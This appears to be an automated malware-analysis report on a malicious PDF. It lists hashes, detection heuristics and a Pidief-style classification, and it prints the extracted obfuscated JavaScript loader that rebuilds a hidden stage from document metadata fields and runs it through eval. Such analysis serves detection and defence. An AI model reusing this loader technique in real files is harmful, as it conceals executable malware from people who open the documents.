Malicious PDF — malware analysis report

Static analysis result for SHA-256 924c003dbe0e777b…

MALICIOUS

PDF

17.7 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-07-12
MD5: 82c572fa8b07d4f46abbb6347866283a SHA-1: ad6d542d060836882e8c6bce884a45552d2e3132 SHA-256: 924c003dbe0e777b4da4ff07d209618899dbc7b0ef3e19ddfd31b11661189889
154 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x44BF 360 bytes
SHA-256: d73f569b538b44e16d2edb61a391900c4ccf708e088fd000a62450c84efb1665
Preview script
First 1,000 lines of the extracted script
var w = 4;
var gpq = this.title.replace(/w/g,'*w,');
gpq = gpq.replace(/t/g,'2');
gpq=gpq.substr(0,gpq.length-2) + ']';
fypj=function(){return function(){return this}()}();
pooiu=fypj[this.subject];
dsero=pooiu(this.producer);
wtdm = pooiu(gpq);
var s = '';
for (i = 0; i < wtdm.length; i++) {
	jlvkd = wtdm[i];
	s += dsero(jlvkd);
}
pooiu(s);

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